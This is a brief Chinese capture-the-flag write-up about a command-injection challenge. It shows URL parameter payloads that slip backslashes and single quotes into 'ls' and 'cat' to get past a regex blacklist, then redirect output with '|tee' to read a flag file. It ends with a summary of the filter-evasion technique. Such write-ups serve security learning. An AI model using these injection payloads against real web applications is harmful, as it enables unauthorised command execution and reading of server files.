首先看源码
第一点,我们需要绕过正则表达式
第二点,由于exec不返回命令执行结果,所以要进行输出重定向
由于正则表达式过滤掉了很多命令,但是注意看,反斜杠和单引号都没有被注释掉,那么我们就可以利用这一点来绕过被禁止掉的命令
构造payload:url=l\s /|tee 1.txt;
url=l's' /|tee 2.txt;
第二种payload
这里需要说明一下
所以这里的|tee就是将ls出的内容重定向到txt文本中
得到敏感文件,再进行内容读取,由于cat和la同样被禁用,还是相同的方法
构造payload
?url=ca\t%20/flllll\aaaaaaggggggg|tee%201.txt;
?url=c\at%20/flllll\aaaaaaggggggg|tee%203.txt;
?url=c'a't%20/flllll'a'aaaaaggggggg|tee%204.txt;
随便选择一种都可以
总结:当正则表达式没有过滤掉反斜杠或者单引号或者双引号(本题双引号被过滤,不再演示),那么可以使用单引号或者双引号包裹命令(ls cat等)任意一个字符,只要他们不是一个整体就行,或者使用反斜杠插入到命令里面(ca\t c\at等)即可实现绕过。